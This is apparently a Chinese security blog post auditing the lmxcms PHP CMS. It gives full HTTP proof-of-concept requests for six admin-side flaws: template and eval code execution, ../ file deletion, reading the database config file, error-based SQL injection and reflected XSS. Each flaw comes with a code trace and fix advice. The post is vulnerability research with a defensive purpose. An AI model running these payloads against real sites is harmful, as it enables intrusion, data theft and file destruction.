扫码领资料
获网安教程
1、RCE代码执行
漏洞条件:
●漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
●漏洞参数:temcontent
●是否存在限制:
●是否还有其他条件:使用smarty模板,m=Template
复现
POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
Host: lmxcmm1.41.com
Content-Length:564
Cache-Control: max-age=0
Upgrade-Insecure-Requests:1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close
temcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4
查看如何编写这个标签
提交后访问前台首页
代码
搜索smarty模板。一般模板功能会出现eval函数的执行,因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件html。admin目录下的template文件。
在执行文件写入的时候也不会有限制
通过文件找到对应功能位置,果然是在模板调用时。
打开一个尾部html,发现和页面显示不同。要么是存储的变量,变量等于1.41。或者写到数据库了,通过model层去除1.41然后显示。因为是个html文件,不能执行php代码,所以会引用eval强制执行造成rce
修复建议
对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。
2、RCE代码执行
漏洞条件:
参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符,//注释掉后面的
●漏洞url: url1:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
url2:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
●漏洞参数:sqlstr
●是否存在限制:
●是否还有其他条件:m=Sql&a=sqlset;m=Acquisi&a=showCjData&cid=1&id=1&lid=1
POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
Host: lmxcmm1.41.com
Content-Length:135
Cache-Control: max-age=0
Upgrade-Insecure-Requests:1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close
sqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4
在这里执行一条sql语句将内容插入cj_data表中。查询的主要是id和data所以只需要插入这两个字段。
INSERT INTO lmx_cj_data (id, data) VALUES ('5','666;phpinfo();//');
GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
代码
搜索代码执行关键字,找到函数里存在变量的文件
跟踪一下$temdata['data']
$data是从$temdata赋值的,$temdata从314行过来的,有个caijiDataOne函数接收的$_GET['cid'],也没有对变量做处理。
已知查询的数据库表是cj_data
要执行eval的话先触发showCjData()方法,在依次接收变量,控制变量cid结果为$temdata,在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发,不是从这个功能写入的。
定位到这个文件在admin下。再去看一下路由情况,先登录后台
所以可以将文件直接替换,定位到功能位置。但实际是从'执行sql'功能写入的内容
修复建议
对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。
3、后台2处任意文件删除
漏洞条件:
●漏洞url: url1:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txt
url2:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
●漏洞参数:filename、filename[]
●是否存在限制:
●是否还有其他条件:m=Backdb;a=delbackdb/ a=delmorebackdb
复现
第一处:
GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
第二处:
POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
Host: lmxcmm1.41.com
Content-Length:26
Cache-Control: max-age=0
Upgrade-Insecure-Requests:1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
filename%5B%5D=../../1.txt
代码
第一处:$filename = trim($_GET['filename']);,判断文件是否存在,如果 $filename 不为空,代码则调用 $this->delOne($filename);方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
第二处:$filename = $_POST['filename'];。如果获得的'filename'参数有值,它将对数组中的每一个元素(也就是每一个文件名)调用$this->delOne($v);方法,尝试删除对应的备份文件。
都调用了delOne()方法。
修复建议
仔细验证和过滤用户输入,确保删除请求的文件名仅包含安全、有效的字符,并且限制在预设的文件目录中。其次,实施权限控制,只允许具有适当权限的用户执行删除操作。
4、后台任意文件读取
漏洞条件
●漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
●漏洞参数:dir
●是否存在限制:
●是否还有其他条件:m=Template&a=editfile&dir
复现
GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
Host: lmxcmm1.41.com
Accept:*/*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://lmxcmm1.41.com
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
Connection: close
代码
file_get_contents搜索文件读取函数并且存在变量的。
检查 $path 指向的是否是一个文件,如果是,尝试读取文件内容。
如果不存在返回错误信息,否则返回读取的内容
跟踪getcon,TemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数
修复建议
对所有用户输入文件路径的处理进行严格的检查和清理,并确保仅限于访问安全、隔离的目录且拥有适当的权限。
5、后台sql注入和xss
漏洞条件:
●漏洞url: http://lmxcmm1.41.com/admin.php?m=zt&a=search&name=1
●漏洞参数:name
●是否存在限制:
●是否还有其他条件:m=zt&a=search
复现
sqi注入
GET /admin.php?m=zt&a=search&name=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Column
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
xss
GET /admin.php?m=zt&a=search&name='><script>alert("XSS")</script> HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Column
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
代码
$name = trim($_GET['name']);接收变量,判断变量不为空就带入where查询需求
count-->countModel-->countDB-->query
一路跟踪后,发现会返回错误的语句
修复建议
确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。
确保所有用户输入的数据在输出到浏览器前都进行了适当的转义或编码
6、后台sql注入
漏洞条件:
●漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
●漏洞参数:curr
●是否存在限制:
●是否还有其他条件:m=Zt&a=ajax_data
复现
POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/95.0.4638.69Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA
代码
$name = trim($_POST['curr']);判断$name变量存在就拼接where sql语句
count-->countModel-->countDB-->query
同样跟踪到query会有报错语句回显
修复建议
确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论